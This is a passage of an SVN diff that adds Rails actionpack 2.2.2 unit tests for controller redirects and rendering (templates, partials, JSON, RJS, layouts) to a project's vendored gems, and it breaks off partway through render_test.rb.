--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/redirect_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/redirect_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,290 @@
+require 'abstract_unit'
+
+class WorkshopsController < ActionController::Base
+end
+
+class Workshop
+  attr_accessor :id, :new_record
+
+  def initialize(id, new_record)
+    @id, @new_record = id, new_record
+  end
+
+  def new_record?
+    @new_record
+  end
+
+  def to_s
+    id.to_s
+  end
+end
+
+class RedirectController < ActionController::Base
+  def simple_redirect
+    redirect_to :action => "hello_world"
+  end
+
+  def redirect_with_status
+    redirect_to({:action => "hello_world", :status => 301})
+  end
+
+  def redirect_with_status_hash
+    redirect_to({:action => "hello_world"}, {:status => 301})
+  end
+
+  def url_redirect_with_status
+    redirect_to("http://www.example.com", :status => :moved_permanently)
+  end
+
+  def url_redirect_with_status_hash
+    redirect_to("http://www.example.com", {:status => 301})
+  end
+
+  def relative_url_redirect_with_status
+    redirect_to("/things/stuff", :status => :found)
+  end
+
+  def relative_url_redirect_with_status_hash
+    redirect_to("/things/stuff", {:status => 301})
+  end
+
+  def redirect_to_back_with_status
+    redirect_to :back, :status => 307
+  end
+
+  def host_redirect
+    redirect_to :action => "other_host", :only_path => false, :host => 'other.test.host'
+  end
+
+  def module_redirect
+    redirect_to :controller => 'module_test/module_redirect', :action => "hello_world"
+  end
+
+  def redirect_with_assigns
+    @hello = "world"
+    redirect_to :action => "hello_world"
+  end
+
+  def redirect_to_url
+    redirect_to "http://www.rubyonrails.org/"
+  end
+
+  def redirect_to_url_with_unescaped_query_string
+    redirect_to "http://dev.rubyonrails.org/query?status=new"
+  end
+
+  def redirect_to_url_with_complex_scheme
+    redirect_to "x-test+scheme.complex:redirect"
+  end
+
+  def redirect_to_back
+    redirect_to :back
+  end
+
+  def redirect_to_existing_record
+    redirect_to Workshop.new(5, false)
+  end
+
+  def redirect_to_new_record
+    redirect_to Workshop.new(5, true)
+  end
+
+  def redirect_to_nil
+    redirect_to nil
+  end
+
+  def rescue_errors(e) raise e end
+
+  def rescue_action(e) raise end
+
+  protected
+    def dashbord_url(id, message)
+      url_for :action => "dashboard", :params => { "id" => id, "message" => message }
+    end
+end
+
+class RedirectTest < Test::Unit::TestCase
+  def setup
+    @controller = RedirectController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+
+  def test_simple_redirect
+    get :simple_redirect
+    assert_response :redirect
+    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_redirect_with_no_status
+    get :simple_redirect
+    assert_response 302
+    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_redirect_with_status
+    get :redirect_with_status
+    assert_response 301
+    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_redirect_with_status_hash
+    get :redirect_with_status_hash
+    assert_response 301
+    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_url_redirect_with_status
+    get :url_redirect_with_status
+    assert_response 301
+    assert_equal "http://www.example.com", redirect_to_url
+  end
+
+  def test_url_redirect_with_status_hash
+    get :url_redirect_with_status_hash
+    assert_response 301
+    assert_equal "http://www.example.com", redirect_to_url
+  end
+
+
+  def test_relative_url_redirect_with_status
+    get :relative_url_redirect_with_status
+    assert_response 302
+    assert_equal "http://test.host/things/stuff", redirect_to_url
+  end
+
+  def test_relative_url_redirect_with_status_hash
+    get :relative_url_redirect_with_status_hash
+    assert_response 301
+    assert_equal "http://test.host/things/stuff", redirect_to_url
+  end
+
+  def test_redirect_to_back_with_status
+    @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from"
+    get :redirect_to_back_with_status
+    assert_response 307
+    assert_equal "http://www.example.com/coming/from", redirect_to_url
+  end
+
+  def test_simple_redirect_using_options
+    get :host_redirect
+    assert_response :redirect
+    assert_redirected_to :action => "other_host", :only_path => false, :host => 'other.test.host'
+  end
+
+  def test_module_redirect
+    get :module_redirect
+    assert_response :redirect
+    assert_redirected_to "http://test.host/module_test/module_redirect/hello_world"
+  end
+
+  def test_module_redirect_using_options
+    get :module_redirect
+    assert_response :redirect
+    assert_redirected_to :controller => 'module_test/module_redirect', :action => 'hello_world'
+  end
+
+  def test_redirect_with_assigns
+    get :redirect_with_assigns
+    assert_response :redirect
+    assert_equal "world", assigns["hello"]
+  end
+
+  def test_redirect_to_url
+    get :redirect_to_url
+    assert_response :redirect
+    assert_redirected_to "http://www.rubyonrails.org/"
+  end
+
+  def test_redirect_to_url_with_unescaped_query_string
+    get :redirect_to_url_with_unescaped_query_string
+    assert_response :redirect
+    assert_redirected_to "http://dev.rubyonrails.org/query?status=new"
+  end
+
+  def test_redirect_to_url_with_complex_scheme
+    get :redirect_to_url_with_complex_scheme
+    assert_response :redirect
+    assert_equal "x-test+scheme.complex:redirect", redirect_to_url
+  end
+
+  def test_redirect_to_back
+    @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from"
+    get :redirect_to_back
+    assert_response :redirect
+    assert_equal "http://www.example.com/coming/from", redirect_to_url
+  end
+
+  def test_redirect_to_back_with_no_referer
+    assert_raises(ActionController::RedirectBackError) {
+      @request.env["HTTP_REFERER"] = nil
+      get :redirect_to_back
+    }
+  end
+
+  def test_redirect_to_record
+    ActionController::Routing::Routes.draw do |map|
+      map.resources :workshops
+      map.connect ':controller/:action/:id'
+    end
+
+    get :redirect_to_existing_record
+    assert_equal "http://test.host/workshops/5", redirect_to_url
+    assert_redirected_to Workshop.new(5, false)
+
+    get :redirect_to_new_record
+    assert_equal "http://test.host/workshops", redirect_to_url
+    assert_redirected_to Workshop.new(5, true)
+  end
+
+  def test_redirect_with_partial_params
+    get :module_redirect
+    assert_redirected_to :action => 'hello_world'
+  end
+
+  def test_redirect_to_nil
+    assert_raises(ActionController::ActionControllerError) do
+      get :redirect_to_nil
+    end
+  end
+end
+
+module ModuleTest
+  class ModuleRedirectController < ::RedirectController
+    def module_redirect
+      redirect_to :controller => '/redirect', :action => "hello_world"
+    end
+  end
+
+  class ModuleRedirectTest < Test::Unit::TestCase
+    def setup
+      @controller = ModuleRedirectController.new
+      @request    = ActionController::TestRequest.new
+      @response   = ActionController::TestResponse.new
+    end
+
+    def test_simple_redirect
+      get :simple_redirect
+      assert_response :redirect
+      assert_equal "http://test.host/module_test/module_redirect/hello_world", redirect_to_url
+    end
+
+    def test_simple_redirect_using_options
+      get :host_redirect
+      assert_response :redirect
+      assert_redirected_to :action => "other_host", :only_path => false, :host => 'other.test.host'
+    end
+
+    def test_module_redirect
+      get :module_redirect
+      assert_response :redirect
+      assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+    end
+
+    def test_module_redirect_using_options
+      get :module_redirect
+      assert_response :redirect
+      assert_redirected_to :controller => '/redirect', :action => "hello_world"
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/render_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/render_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/render_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1539 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+module Fun
+  class GamesController < ActionController::Base
+    def hello_world
+    end
+  end
+end
+
+class MockLogger
+  attr_reader :logged
+
+  def initialize
+    @logged = []
+  end
+
+  def method_missing(method, *args)
+    @logged << args.first
+  end
+end
+
+class TestController < ActionController::Base
+  class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  end
+
+  layout :determine_layout
+
+  def hello_world
+  end
+
+  def conditional_hello
+    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123])
+      render :action => 'hello_world'
+    end
+  end
+
+  def conditional_hello_with_bangs
+    render :action => 'hello_world'
+  end
+  before_filter :handle_last_modified_and_etags, :only=>:conditional_hello_with_bangs
+
+  def handle_last_modified_and_etags
+    fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ])
+  end
+
+  def render_hello_world
+    render :template => "test/hello_world"
+  end
+
+  def render_hello_world_with_last_modified_set
+    response.last_modified = Date.new(2008, 10, 10).to_time
+    render :template => "test/hello_world"
+  end
+
+  def render_hello_world_with_etag_set
+    response.etag = "hello_world"
+    render :template => "test/hello_world"
+  end
+
+  def render_hello_world_with_forward_slash
+    render :template => "/test/hello_world"
+  end
+
+  def render_template_in_top_directory
+    render :template => 'shared'
+  end
+
+  def render_template_in_top_directory_with_slash
+    render :template => '/shared'
+  end
+
+  def render_hello_world_from_variable
+    @person = "david"
+    render :text => "hello #{@person}"
+  end
+
+  def render_action_hello_world
+    render :action => "hello_world"
+  end
+
+  def render_action_hello_world_with_symbol
+    render :action => :hello_world
+  end
+
+  def render_text_hello_world
+    render :text => "hello world"
+  end
+
+  def render_text_hello_world_with_layout
+    @variable_for_layout = ", I'm here!"
+    render :text => "hello world", :layout => true
+  end
+
+  def hello_world_with_layout_false
+    render :layout => false
+  end
+
+  def render_file_with_instance_variables
+    @secret = 'in the sauce'
+    path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb')
+    render :file => path
+  end
+
+  def render_file_not_using_full_path
+    @secret = 'in the sauce'
+    render :file => 'test/render_file_with_ivar'
+  end
+
+  def render_file_not_using_full_path_with_dot_in_path
+    @secret = 'in the sauce'
+    render :file => 'test/dot.directory/render_file_with_ivar'
+  end
+
+  def render_file_from_template
+    @secret = 'in the sauce'
+    @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
+  end
+
+  def render_file_with_locals
+    path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb')
+    render :file => path, :locals => {:secret => 'in the sauce'}
+  end
+
+  def accessing_request_in_template
+    render :inline =>  "Hello: <%= request.host %>"
+  end
+
+  def accessing_logger_in_template
+    render :inline =>  "<%= logger.class %>"
+  end
+
+  def accessing_action_name_in_template
+    render :inline =>  "<%= action_name %>"
+  end
+
+  def accessing_controller_name_in_template
+    render :inline =>  "<%= controller_name %>"
+  end
+
+  def render_json_hello_world
+    render :json => {:hello => 'world'}.to_json
+  end
+
+  def render_json_hello_world_with_callback
+    render :json => {:hello => 'world'}.to_json, :callback => 'alert'
+  end
+
+  def render_json_with_custom_content_type
+    render :json => {:hello => 'world'}.to_json, :content_type => 'text/javascript'
+  end
+
+  def render_symbol_json
+    render :json => {:hello => 'world'}.to_json
+  end
+
+  def render_json_with_render_to_string
+    render :json => {:hello => render_to_string(:partial => 'partial')}
+  end
+
+  def render_custom_code
+    render :text => "hello world", :status => 404
+  end
+
+  def render_custom_code_rjs
+    render :update, :status => 404 do |page|
+      page.replace :foo, :partial => 'partial'
+    end
+  end
+
+  def render_text_with_nil
+    render :text => nil
+  end
+
+  def render_text_with_false
+    render :text => false
+  end
+
+  def render_nothing_with_appendix
+    render :text => "appended"
+  end
+
+  def render_invalid_args
+    render("test/hello")
+  end
+
+  def render_vanilla_js_hello
+    render :js => "alert('hello')"
+  end
+
+  def render_xml_hello
+    @name = "David"
+    render :template => "test/hello"
+  end
+
+  def render_xml_with_custom_content_type
+    render :xml => "<blah/>", :content_type => "application/atomsvc+xml"
+  end
+
+  def render_line_offset
+    render :inline => '<% raise %>', :locals => {:foo => 'bar'}
+  end
+
+  def heading
+    head :ok
+  end
+
+  def greeting
+    # let's just rely on the template
+  end
+
+  def layout_test
+    render :action => "hello_world"
+  end
+
+  def builder_layout_test
+    render :action => "hello", :layout => "layouts/builder"
+  end
+
+  def builder_partial_test
+    render :action => "hello_world_container"
+  end
+
+  def partials_list
+    @test_unchanged = 'hello'
+    @customers = [ Customer.new("david"), Customer.new("mary") ]
+    render :action => "list"
+  end
+
+  def partial_only
+    render :partial => true
+  end
+
+  def hello_in_a_string
+    @customers = [ Customer.new("david"), Customer.new("mary") ]
+    render :text => "How's there? " + render_to_string(:template => "test/list")
+  end
+
+  def accessing_params_in_template
+    render :inline => "Hello: <%= params[:name] %>"
+  end
+
+  def accessing_local_assigns_in_inline_template
+    name = params[:local_name]
+    render :inline => "<%= 'Goodbye, ' + local_name %>",
+           :locals => { :local_name => name }
+  end
+
+  def helper_method_to_render_to_string(*args)
+    render_to_string(*args)
+  end
+  helper_method :helper_method_to_render_to_string
+
+  def render_html_only_partial_within_inline
+    render :inline => "Hello world <%= helper_method_to_render_to_string :partial => 'test/partial_with_only_html_version' %>"
+  end
+
+  def formatted_html_erb
+  end
+
+  def formatted_xml_erb
+  end
+
+  def render_to_string_test
+    @foo = render_to_string :inline => "this is a test"
+  end
+
+  def default_render
+    if @alternate_default_render
+      @alternate_default_render.call
+    else
+      super
+    end
+  end
+
+  def render_action_hello_world_as_symbol
+    render :action => :hello_world
+  end
+
+  def layout_test_with_different_layout
+    render :action => "hello_world", :layout => "standard"
+  end
+
+  def rendering_without_layout
+    render :action => "hello_world", :layout => false
+  end
+
+  def layout_overriding_layout
+    render :action => "hello_world", :layout => "standard"
+  end
+
+  def rendering_nothing_on_layout
+    render :nothing => true
+  end
+
+  def render_to_string_with_assigns
+    @before = "i'm before the render"
+    render_to_string :text => "foo"
+    @after = "i'm after the render"
+    render :action => "test/hello_world"
+  end
+
+  def render_to_string_with_exception
+    render_to_string :file => "exception that will not be caught - this will certainly not work"
+  end
+
+  def render_to_string_with_caught_exception
+    @before = "i'm before the render"
+    begin
+      render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
+    rescue
+    end
+    @after = "i'm after the render"
+    render :action => "test/hello_world"
+  end
+
+  def accessing_params_in_template_with_layout
+    render :layout => nil, :inline =>  "Hello: <%= params[:name] %>"
+  end
+
+  def render_with_explicit_template
+    render :template => "test/hello_world"
+  end
+
+  def render_with_explicit_template_with_locals
+    render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
+  end
+
+  def double_render
+    render :text => "hello"
+    render :text => "world"
+  end
+
+  def double_redirect
+    redirect_to :action => "double_render"
+    redirect_to :action => "double_render"
+  end
+
+  def render_and_redirect
+    render :text => "hello"
+    redirect_to :action => "double_render"
+  end
+
+  def render_to_string_and_render
+    @stuff = render_to_string :text => "here is some cached stuff"
+    render :text => "Hi web users! #{@stuff}"
+  end
+
+  def render_to_string_with_inline_and_render
+    render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
+    render :template => "test/hello_world"
+  end
+
+  def rendering_with_conflicting_local_vars
+    @name = "David"
+    def @template.name() nil end
+    render :action => "potential_conflicts"
+  end
+
+  def hello_world_from_rxml_using_action
+    render :action => "hello_world_from_rxml.builder"
+  end
+
+  def hello_world_from_rxml_using_template
+    render :template => "test/hello_world_from_rxml.builder"
+  end
+
+  module RenderTestHelper
+    def rjs_helper_method_from_module
+      page.visual_effect :highlight
+    end
+  end
+
+  helper RenderTestHelper
+  helper do
+    def rjs_helper_method(value)
+      page.visual_effect :highlight, value
+    end
+  end
+
+  def enum_rjs_test
+    render :update do |page|
+      page.select('.product').each do |value|
+        page.rjs_helper_method_from_module
+        page.rjs_helper_method(value)
+        page.sortable(value, :url => { :action => "order" })
+        page.draggable(value)
+      end
+    end
+  end
+
+  def delete_with_js
+    @project_id = 4
+  end
+
+  def render_js_with_explicit_template
+    @project_id = 4
+    render :template => 'test/delete_with_js'
+  end
+
+  def render_js_with_explicit_action_template
+    @project_id = 4
+    render :action => 'delete_with_js'
+  end
+
+  def update_page
+    render :update do |page|
+      page.replace_html 'balance', '$37,000,000.00'
+      page.visual_effect :highlight, 'balance'
+    end
+  end
+
+  def update_page_with_instance_variables
+    @money = '$37,000,000.00'
+    @div_id = 'balance'
+    render :update do |page|
+      page.replace_html @div_id, @money
+      page.visual_effect :highlight, @div_id
+    end
+  end
+
+  def update_page_with_view_method
+    render :update do |page|
+      page.replace_html 'person', pluralize(2, 'person')
+    end
+  end
+
+  def action_talk_to_layout
+    # Action template sets variable that's picked up by layout
+  end
+
+  def render_text_with_assigns
+    @hello = "world"
+    render :text => "foo"
+  end
+
+  def yield_content_for
+    render :action => "content_for", :layout => "yield"
+  end
+
+  def render_content_type_from_body
+    response.content_type = Mime::RSS
+    render :text => "hello world!"
+  end
+
+  def head_with_location_header
+    head :location => "/foo"
+  end
+
+  def head_with_symbolic_status
+    head :status => params[:status].intern
+  end
+
+  def head_with_integer_status
+    head :status => params[:status].to_i
+  end
+
+  def head_with_string_status
+    head :status => params[:status]
+  end
+
+  def head_with_custom_header
+    head :x_custom_header => "something"
+  end
+
+  def head_with_status_code_first
+    head :forbidden, :x_custom_header => "something"
+  end
+
+  def render_with_location
+    render :xml => "<hello/>", :location => "http://example.com", :status => 201
+  end
+
+  def render_with_object_location
+    customer = Customer.new("Some guy", 1)
+    render :xml => "<customer/>", :location => customer_url(customer), :status => :created
+  end
+
+  def render_with_to_xml
+    to_xmlable = Class.new do
+      def to_xml
+        "<i-am-xml/>"
+      end
+    end.new
+
+    render :xml => to_xmlable
+  end
+
+  def render_using_layout_around_block
+    render :action => "using_layout_around_block"
+  end
+
+  def render_using_layout_around_block_with_args
+    render :action => "using_layout_around_block_with_args"
+  end
+
+  def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
+  end
+
+  def partial_dot_html
+    render :partial => 'partial.html.erb'
+  end
+
+  def partial_as_rjs
+    render :update do |page|
+      page.replace :foo, :partial => 'partial'
+    end
+  end
+
+  def respond_to_partial_as_rjs
+    respond_to do |format|
+      format.js do
+        render :update do |page|
+          page.replace :foo, :partial => 'partial'
+        end
+      end
+    end
+  end
+
+  def partial
+    render :partial => 'partial'
+  end
+
+  def render_alternate_default
+    # For this test, the method "default_render" is overridden:
+    @alternate_default_render = lambda do
+      render :update do |page|
+        page.replace :foo, :partial => 'partial'
+      end
+    end
+  end
+
+  def partial_only_with_layout
+    render :partial => "partial_only", :layout => true
+  end
+
+  def render_to_string_with_partial
+    @partial_only = render_to_string :partial => "partial_only"
+    @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
+    render :action => "test/hello_world"
+  end
+
+  def partial_with_counter
+    render :partial => "counter", :locals => { :counter_counter => 5 }
+  end
+
+  def partial_with_locals
+    render :partial => "customer", :locals => { :customer => Customer.new("david") }
+  end
+
+  def partial_with_form_builder
+    render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, @template, {}, Proc.new {})
+  end
+
+  def partial_with_form_builder_subclass
+    render :partial => LabellingFormBuilder.new(:post, nil, @template, {}, Proc.new {})
+  end
+
+  def partial_collection
+    render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_with_as
+    render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
+  end
+
+  def partial_collection_with_counter
+    render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_with_locals
+    render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+  end
+
+  def partial_collection_with_spacer
+    render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_shorthand_with_locals
+    render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+  end
+
+  def partial_collection_shorthand_with_different_types_of_records
+    render :partial => [
+        BadCustomer.new("mark"),
+        GoodCustomer.new("craig"),
+        BadCustomer.new("john"),
+        GoodCustomer.new("zach"),
+        GoodCustomer.new("brandon"),
+        BadCustomer.new("dan") ],
+      :locals => { :greeting => "Bonjour" }
+  end
+
+  def empty_partial_collection
+    render :partial => "customer", :collection => []
+  end
+
+  def partial_collection_shorthand_with_different_types_of_records_with_counter
+    partial_collection_shorthand_with_different_types_of_records
+  end
+
+  def missing_partial
+    render :partial => 'thisFileIsntHere'
+  end
+
+  def partial_with_hash_object
+    render :partial => "hash_object", :object => {:first_name => "Sam"}
+  end
+
+  def partial_hash_collection
+    render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
+  end
+
+  def partial_hash_collection_with_locals
+    render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
+  end
+
+  def partial_with_implicit_local_assignment
+    @customer = Customer.new("Marcel")
+    render :partial => "customer"
+  end
+
+  def render_call_to_partial_with_layout
+    render :action => "calling_partial_with_layout"
+  end
+
+  def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
+  end
+
+  def rescue_action(e)
+    raise
+  end
+
+  private
+    def determine_layout
+      case action_name
+        when "hello_world", "layout_test", "rendering_without_layout",
+             "rendering_nothing_on_layout", "render_text_hello_world",
+             "render_text_hello_world_with_layout",
+             "hello_world_with_layout_false",
+             "partial_only", "partial_only_with_layout",
+             "accessing_params_in_template",
+             "accessing_params_in_template_with_layout",
+             "render_with_explicit_template",
+             "render_js_with_explicit_template",
+             "render_js_with_explicit_action_template",
+             "delete_with_js", "update_page", "update_page_with_instance_variables"
+
+          "layouts/standard"
+        when "action_talk_to_layout", "layout_overriding_layout"
+          "layouts/talk_from_action"
+      end
+    end
+end
+
+class RenderTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = TestController.new
+
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = Logger.new(nil)
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_simple_show
+    get :hello_world
+    assert_response 200
+    assert_response :success
+    assert_template "test/hello_world"
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_renders_default_template_for_missing_action
+    get :'hyphen-ated'
+    assert_template 'test/hyphen-ated'
+  end
+
+  def test_render
+    get :render_hello_world
+    assert_template "test/hello_world"
+  end
+
+  def test_line_offset
+    begin
+      get :render_line_offset
+      flunk "the action should have raised an exception"
+    rescue RuntimeError => exc
+      line = exc.backtrace.first
+      assert(line =~ %r{:(\d+):})
+      assert_equal "1", $1,
+        "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
+    end
+  end
+
+  def test_render_with_forward_slash
+    get :render_hello_world_with_forward_slash
+    assert_template "test/hello_world"
+  end
+
+  def test_render_in_top_directory
+    get :render_template_in_top_directory
+    assert_template "shared"
+    assert_equal "Elastica", @response.body
+  end
+
+  def test_render_in_top_directory_with_slash
+    get :render_template_in_top_directory_with_slash
+    assert_template "shared"
+    assert_equal "Elastica", @response.body
+  end
+
+  def test_render_from_variable
+    get :render_hello_world_from_variable
+    assert_equal "hello david", @response.body
+  end
+
+  def test_render_action
+    get :render_action_hello_world
+    assert_template "test/hello_world"
+  end
+
+  def test_render_action_with_symbol
+    get :render_action_hello_world_with_symbol
+    assert_template "test/hello_world"
+  end
+
+  def test_render_text
+    get :render_text_hello_world
+    assert_equal "hello world", @response.body
+  end
+
+  def test_do_with_render_text_and_layout
+    get :render_text_hello_world_with_layout
+    assert_equal "<html>hello world, I'm here!</html>", @response.body
+  end
+
+  def test_do_with_render_action_and_layout_false
+    get :hello_world_with_layout_false
+    assert_equal 'Hello world!', @response.body
+  end
+
+  def test_render_file_with_instance_variables
+    get :render_file_with_instance_variables
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  def test_render_file_not_using_full_path
+    get :render_file_not_using_full_path
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  def test_render_file_not_using_full_path_with_dot_in_path
+    get :render_file_not_using_full_path_with_dot_in_path
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  def test_render_file_with_locals
+    get :render_file_with_locals
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  def test_render_file_from_template
+    get :render_file_from_template
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  def test_render_json
+    get :render_json_hello_world
+    assert_equal '{"hello": "world"}', @response.body
+    assert_equal 'application/json', @response.content_type
+  end
+
+  def test_render_json_with_callback
+    get :render_json_hello_world_with_callback
+    assert_equal 'alert({"hello": "world"})', @response.body
+    assert_equal 'application/json', @response.content_type
+  end
+
+  def test_render_json_with_custom_content_type
+    get :render_json_with_custom_content_type
+    assert_equal '{"hello": "world"}', @response.body
+    assert_equal 'text/javascript', @response.content_type
+  end
+
+  def test_render_symbol_json
+    get :render_symbol_json
+    assert_equal '{"hello": "world"}', @response.body
+    assert_equal 'application/json', @response.content_type
+  end
+
+  def test_render_json_with_render_to_string
+    get :render_json_with_render_to_string
+    assert_equal '{"hello": "partial html"}', @response.body
+    assert_equal 'application/json', @response.content_type
+  end
+
+  def test_render_custom_code
+    get :render_custom_code
+    assert_response 404
+    assert_response :missing
+    assert_equal 'hello world', @response.body
+  end
+
+  def test_render_custom_code_rjs
+    get :render_custom_code_rjs
+    assert_response 404
+    assert_equal %(Element.replace("foo", "partial html");), @response.body
+  end
+
+  def test_render_text_with_nil
+    get :render_text_with_nil
+    assert_response 200
+    assert_equal ' ', @response.body
+  end
+
+  def test_render_text_with_false
+    get :render_text_with_false
+    assert_equal 'false', @response.body
+  end
+
+  def test_render_nothing_with_appendix
+    get :render_nothing_with_appendix
+    assert_response 200
+    assert_equal 'appended', @response.body
+  end
+
+  def test_attempt_to_render_with_invalid_arguments
+    assert_raises(ActionController::RenderError) { get :render_invalid_args }
+  end
+
+  def test_attempt_to_access_object_method
+    assert_raises(ActionController::UnknownAction, "No action responded to [clone]") { get :clone }
+  end
+
+  def test_private_methods
+    assert_raises(ActionController::UnknownAction, "No action responded to [determine_layout]") { get :determine_layout }
+  end
+
+  def test_access_to_request_in_view
+    get :accessing_request_in_template
+    assert_equal "Hello: www.nextangle.com", @response.body
+  end
+
+  def test_access_to_logger_in_view
+    get :accessing_logger_in_template
+    assert_equal "Logger", @response.body
+  end
+
+  def test_access_to_action_name_in_view
+    get :accessing_action_name_in_template
+    assert_equal "accessing_action_name_in_template", @response.body
+  end
+
+  def test_access_to_controller_name_in_view
+    get :accessing_controller_name_in_template
+    assert_equal "test", @response.body # name is explicitly set to 'test' inside the controller.
+  end
+
+  def test_render_vanilla_js
+    get :render_vanilla_js_hello
+    assert_equal "alert('hello')", @response.body
+    assert_equal "text/javascript", @response.content_type
+  end
+
+  def test_render_xml
+    assert_deprecated do
+      get :render_xml_hello
+    end
+
+    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+    assert_equal "application/xml", @response.content_type
+  end
+
+  def test_render_xml_with_default
+    get :greeting
+    assert_equal "<p>This is grand!</p>\n", @response.body
+  end
+
+  def test_render_xml_with_partial
+    get :builder_partial_test
+    assert_equal "<test>\n  <hello/>\n</test>\n", @response.body
+  end
+
+  def test_enum_rjs_test
+    get :enum_rjs_test
+    body = %{
+      $$(".product").each(function(value, index) {
+      new Effect.Highlight(element,{});
+      new Effect.Highlight(value,{});
+      Sortable.create(value, {onUpdate:function(){new Ajax.Request('/test/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(value)})}});
+      new Draggable(value, {});
+      });
+    }.gsub(/^      /, '').strip
+    assert_equal body, @response.body
+  end
+
+  def test_layout_rendering
+    get :layout_test
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_render_xml_with_layouts
+    assert_deprecated do
+      get :builder_layout_test
+    end
+
+    assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
+  end
+
+  def test_partials_list
+    get :partials_list
+    assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
+  end
+
+  def test_render_to_string
+    get :hello_in_a_string
+    assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
+  end
+
+  def test_render_to_string_resets_assigns
+    get :render_to_string_test
+    assert_equal "The value of foo is: ::this is a test::\n", @response.body
+  end
+
+  def test_render_to_string_inline
+    get :render_to_string_with_inline_and_render
+    assert_template "test/hello_world"
+  end
+
+  def test_nested_rendering
+    @controller = Fun::GamesController.new
+    get :hello_world
+    assert_equal "Living in a nested world", @response.body
+  end
+
+  def test_accessing_params_in_template
+    get :accessing_params_in_template, :name => "David"
+    assert_equal "Hello: David", @response.body
+  end
+
+  def test_accessing_local_assigns_in_inline_template
+    get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
+    assert_equal "Goodbye, Local David", @response.body
+  end
+
+  def test_rendering_html_only_partial_within_inline_with_js
+    get :render_html_only_partial_within_inline, :format => :js
+    assert_equal "Hello world partial with only html version", @response.body
+  end
+
+  def test_should_render_formatted_template
+    get :formatted_html_erb
+    assert_equal 'formatted html erb', @response.body
+  end
+
+  def test_should_render_formatted_xml_erb_template
+    get :formatted_xml_erb, :format => :xml
+    assert_equal '<test>passed formatted xml erb</test>', @response.body
+  end
+
+  def test_should_render_formatted_html_erb_template
+    get :formatted_xml_erb
+    assert_equal '<test>passed formatted html erb</test>', @response.body
+  end
+
+  def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
+    @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appliction/x-shockwave-flash, */*"
+    get :formatted_xml_erb
+    assert_equal '<test>passed formatted html erb</test>', @response.body
+  end
+
+  def test_should_render_xml_but_keep_custom_content_type
+    get :render_xml_with_custom_content_type
